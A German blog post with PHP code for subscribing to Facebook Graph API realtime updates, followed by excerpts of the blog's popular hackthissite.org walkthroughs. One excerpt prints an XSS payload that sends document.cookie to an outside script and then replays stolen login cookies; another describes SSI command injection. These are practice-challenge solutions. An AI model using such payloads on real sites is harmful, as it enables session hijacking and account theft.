Direkt zum Hauptbereich

Facebook subscribe to realtime updates "code snipet"

Ein tolles feature von der Graph API sind die sogenannten live updates. Dabei Registriert sich die App für divesere Updates von allen App Usern, bspsw. für das Bild, checkins etc. Man muss dabei beachten dass Facebook nur die userid und das Feld zurücksendet in welchem sich etwas geändert hat. Die Daten muss man dann wiederum bei der Facebook Graph API abholen, wozu man wiederum "offline" access haben sollte da man ansonsten immer warten muss bis der User wieder die App besucht.

Hier das subscribe in PHP:
define('subscribeUrl'," https://graph.facebook.com/" . APP_ID . "/subscriptions" );

define('VTOKEN', 'bla2367dhhda28778'); //this is an token to verify the callback from facebook
 /*
  * subscribe array
  */
 $object =  Array (
    'access_token' => $accessToken[1], //here insert the app access token!
    "object" => "user",
    "callback_url" => "http://yourserver.com/receive.php", //callback script, this script calls facebook!
    "fields" => 'name,picture',
    "active"=> true,
     "verify_token" => VTOKEN
);

 $jsonData = json_encode($object);
 /**
  *
  * now send an subscribe reqwuest to
  * facebook
  */
 define('GETFACEBOOKDATA', '?access_token='.$accessToken[1]);
  $ch='';
 $Rec_Data='';

 $ch = curl_init(subscribeUrl.GETFACEBOOKDATA);
 curl_setopt($ch, CURLOPT_POST     ,1);
 curl_setopt($ch, CURLOPT_POSTFIELDS    , $jsonData);
 //curl_setopt($ch, CURLOPT_FOLLOWLOCATION  ,1);
 curl_setopt($ch, CURLOPT_HEADER      ,1);  // DO NOT RETURN HTTP HEADERS
 curl_setopt($ch, CURLOPT_RETURNTRANSFER  ,1);  // RETURN THE CONTENTS OF THE CALL
 $Rec_Data = curl_exec($ch);

Das wars dann auch schon mit dem subscribe, man kann nun noch auf die  subscribe url einen get call machen dann gibt Facebook die Felder zurück für die man sich registriert hat.

Wenn sich nun bei einem oder mehreren Usern etwas ändert dann ruft facebook unser callback Script auf. Dieses kommt hier in kurz und Bündig:



define('VTOKEN', 'bla2367dhhda28778'); //your V token, the same as in the subscribe script
$method = $_SERVER['REQUEST_METHOD'];
if ($method == 'GET' && $_GET['hub_mode'] == 'subscribe' && $_GET['hub_verify_token'] == VTOKEN) {
    echo $_GET['hub_challenge'];
} else if ($method == 'POST') {
    $updates = json_decode(file_get_contents("php://input"), true);
    $handle = fopen('out.txt', "w+"); //write the input to an file, so you can see what you get, only for development
    fwrite($handle, print_r($updates, true));
    fclose($handle);
     
    makeThings($updates); //call a mehtod and do something with it
 

    // Note the request must complete within 15 seconds.rue
    // Otherwise Facebook server will consider it a timeout and
    // resend the push notification again.
    // error_log('updates = ' . print_r($updates, true));            
}
Hier der Link zur Facebook Doku;
http://developers.facebook.com/docs/reference/api/realtime/

Kommentare

Beliebte Posts aus diesem Blog

hackthissite.org Level 8 Basic Lösung

Hier ist ein eingabeformular in welches du deinen Namen schreiben sollst damit es eine Datei anlegen kann. Zum besseren Verständniss einfach mal testen, also "Mustermann" und auf submit klicken. Nun erscheint der Text: Your file has been saved. Please click here view the file. Hier ist die URL der Datei, welche angelegt wurde: http://www.hackthissite.org/missions/basic/8/tmp/mnxdljrz.shtml Genau, es ist eine shtml Datei also ein Server Side Include (SSI) damit kann man Befehle auf dem Server ausführen lassen und das ergebniss wird dann dem client übergeben! Hier musst du aber das Verzeichniss auslesen damit wir informationen über den Inhalt bekommen. Geb nun einfach mal folgendes in das Feld für den Namen ein: Richtig, ls bei unix/linux "list directory" zeigt den Inhalt eines Verzeichnisses an. Das neu hinzugefügte hier ist "ls ../" ../ heißt ein Verzeichniss nach oben. Also nicht in http://www.hackthissite.org/missions/basic/...

HTS realistic 9, the Codes for the Challenge!

Here are the javascript codes for HTS Level 9: 1. code, take a look at the cookie: javascript:alert(document.cookie); 2. The xss exploit insert into the message to mr. crap: </textarea> <script>window.location="http://getTheScript/getcookiemailer.php?keks="+document.cookie;</script> 3. The code to use the stolen cookie data: javascript:document.cookie="strUsername=m-crap%40crappysoft.com";document.cookie="strPassword=94a35a3b7befff5eb2a8415af04aa16c";document.cookie="intID=1"; Now you can move the money!! 4. Deleting the session data. Log out and go to the main page of crappy soft. Go to the mailing list form. Now you need an Firefox extension like UrlParams or an Proxy with freeze function. Or you manipulate the Post data with an faked http header. How to fake http header with PHP you can take a look at this page: http://hack1n9.blogspot.com/2008/06/hackthissiteorg-level-5-basic-lsung.html But it is written in german. The faste...

Google Hacking !!

(Abbildung zeigt Webcam von einer Werkstatt) Moderne Hardware macht einem Administrator die Arbeit leicht und angenehm. Drucker sind halbe Computer geworden, besitzen Web Server, ftp, snmp, und viele weitere features. Das erleichtert einem die Verwaltung. Man kann vom Büro aus nachschauen ob der Drucker wirklich gerade hängt oder ob die Büro Fuzzis einfach vergessen haben Papier nachzufüllen. Das spart ärger und nerven. Aber auch für den Otto Normal Verbraucher bringt das vorteile. Die Netzwerkkamera ist im Handumdrehen angeschlossen und die Verwaltung geht auch leicht von der Hand. Entweder mit einer speziellen Software vom Hersteller oder aber auch über die Integrierten Web Server. Diese dinge gehen so leicht von der Hand dass der Anwender wie auch manch ein Administrator sich keine großen Gedanken macht ob und wie die Geräte von aussen zu erreichen sind. Mit hilfe von google lassen sich so mache Geräte in Netzwerken von Firmen und Universitäten aufsuchen. So stellt auch die Firma HY...